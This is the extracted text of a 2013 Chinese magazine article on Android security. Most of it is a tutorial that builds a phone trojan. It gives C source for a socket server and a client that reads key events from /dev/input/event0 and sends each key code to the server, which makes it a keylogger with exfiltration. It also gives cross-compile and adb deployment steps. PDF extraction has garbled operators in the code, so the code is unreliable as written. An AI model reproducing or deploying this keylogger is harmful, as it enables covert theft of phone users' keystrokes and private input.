浅谈安卓手机安全及安卓手机木马编程.pdf
消费电子 计算机科学 Consumer Electronics Magazine 2013 年 7 月下 2013 消费电子 88 浅谈安卓手机安全及安卓手机木马编程 吴栋(杭州电子科技大学,杭州 310018)摘 要:摘 要:随着手机使用的普及,手机职能技术越来越先进,大部分手机都安装了最为先进的智能系统,不仅可以通话,同时还具备多种上网功能、在线购物付款功能、在线炒股、在线转账等功能,这些功能的加入同时也使得手机的安全性越来越受到威胁,因此研究现阶段智能手机的安全功能保障及相应的故障防卫编程成为智能手机发展的重要课题之一。关键词:关键词:安卓手机;木马程序;编码 中图分类号:中图分类号:TP309.5 文献标识码:文献标识码:A 文章编号:文章编号:1674-7712(2013)14-0088-01 在智能手机风生水起的时代,安卓智能手机占据了大部分席位,就最新统计的数据来看,Android 智能手机在中国的占有率为 86%。所以,正如 Windows 操作系统有如此多的用户一样,不可避免的会带来安全性问题。随着智能手机的普及,手机的安全性也变得越来越热门和重要。android 系统是一个以 Linux 为基础的半开源操作系统,其内核属于 Linux 内核的一个分支,具有典型的 Linux 调度和功能。所以,一个 Native C 程序,经过交叉编译,完全可以在 Android 系统上运行。我们的目标是编写一个简单的手机木马,这个木马分为服务端和客户端两个部分,实现的功能是客户端可以获取手机的按键信息,并把信息发送给服务端。核心源码如下:其实这个手机木马就是通过 socket 连接来编写的,socket 部分大家都应该比较清楚了,那就讲讲字符处理的部分吧。服务端部分:服务端的核心部就是接收客户端发送的信息,并显示出来。int main(int argc,char*argv)/*省略部分代码,以下为核心代码*/while(len=recv(client_sockfd,buf,BUFSIZ,0)0)printf(%sn,buf);memset(buf,0,BUFSIZ);if(send(client_sockfd,buf,len,0)0)perror(write);return 1;close(client_sockfd);close(server_sockfd);return 0;客户端部分:客户端的主要核心代码部分就是循环读取手机的字符存储设备,并发送给服务端。int main(void)/*省略部分代码,以下为核心代码*/event0_fd=open(/dev/input/event0,O_RDWR);if(event0_fd0)return-1;printf(Start.n);while(1)rd=read(event0_fd,ev0,sizeof(struct input_event)*64);if(rd sizeof(struct input_event)return 0;for(i=0;i rd/sizeof(struct input_event);i+)if(ev0i.type=1&ev0i.value=1)printf(The key code is:%3dn,ev0i.code);if(ev0i.code=158)break;memset(buf,0,BUFSIZ);sprintf(buf,%d,ev0i.code);len=send(client_sockfd,buf,strlen(buf),0);源码中已经给出了很多注释,下面就来简单的分析一下源码,其实就是简单的 Socket 编程。服务端程序就是不停的等待客户端发送的信息,这里就不再赘述,重点来看一下客户端程序。客户端的核心功能是获取手机的按键信息。我们先拿起手机,在终端模拟器中键入:ls/dev/input,好的,我们看到了一些东西,比如 event0,event1,event2等等,而 event0 正是我们所需要的,就是 Android 的按键子系统。接下来就可以从/dev/input/event0 中获取我们所需要的信息了,这部分的关键代码就是:event0_fd=open(/dev/input/event0,O_RDWR);rd=read(event0_fd,ev0,sizeof(struct input_event)*64);if(rd sizeof(struct input_event)return 0;for(i=0;i rd/sizeof(struct input_event);i+)if(ev0i.type=1&ev0i.value=1)printf(The key code is:%3dn,ev0i.code);if(ev0i.code=158)break;然后通过 send 就可以向服务端发送所截取的信息了。源码就分析到这里了,接下来讲讲交叉编译及 adb 的简单使用。(Linux 环境下进行)。交叉编译作者用的是 Android NDK 自带的工具链中的arm-linux-androideabi-gcc,当然还有许多其他的编译器可以选择。服务端直接用 gcc 就可以了。下面进行 Makefile 文件的部分分析,源码见链接地址下载:见最后的链接地址。Makefile 中的 NDKHOME 即为存放 android-ndk 工具链的目录,这个 Makefile 直接就将服务端和客户端一同编译了。服务端用 gcc 编译器,客户端用 arm-linux-androideabi-gcc编译。将 Makefile 与服务端和客户端放在同一文件夹,然后直接用 make 工具编译一下就可以了。说到 adb,其实就是 Android Debug Bridge,就是一款调试工具。在使用 adb 前需要在 shell 中添加环境变量。ADB=/home/young/Downloads/adt-bundle-linux-x86-20130219/sdk/platform-tools PATH=$PATH:$ADB 环境变量根据自己系统环境自己修改即可。接下来,我们打开 Android 模拟器,然后在 linux 终端中键入 adb shell 就进入了模拟器中的 shell 环境,当然在这之前,先得把编译好的客户端程序传到模拟器中去。命令如下:adb push client/dev/client 这样客户端程序就成功上传上去了。接下来在 linux 终端中运行 server,在 adb shell 进入的模拟器终端中执行 client 就可以看到程序互动了。备注:文章中代码可能比较乱,源码可以去以下网址下载:http:/ 参考文献:1李志锋,林恩华.智能手机的数据业务分析手段J.科技情报开发与经济,2011(07).2周晓宇.智能手机的信息安全风险及监管对策研究J.黑龙江科技信息,2010(20).3庄小岚.智能手机面临安全威胁J.信息安全与通信保密,2011(03).4李群祖,于刘海.智能手机恶意代码分析与对策J.计算机安全,2011(06).作者简介吴栋,杭州电子科技大学,研究方向:计算机安全、手机安全、windows 编程、linux 编程。浅谈安卓手机安全及安卓手机木马编程浅谈安卓手机安全及安卓手机木马编程作者:吴栋作者单位:杭州电子科技大学,杭州,310018刊名:消费电子 英文刊名:China This Week in Consumer Electronics 年,卷(期):2013(14)参考文献(4条)参考文献(4条)1.李志锋.林恩华 智能手机的数据业务分析手段期刊论文-科技情报开发与经济 2011(07)2.周晓宇 智能手机的信息安全风险及监管对策研究期刊论文-黑龙江科技信息 2010(20)3.庄小岚 智能手机面临安全威胁期刊论文-信息安全与通信保密 2011(03)4.李群祖.于刘海 智能手机恶意代码分析与对策期刊论文-计算机安全 2011(06)本文链接:http:/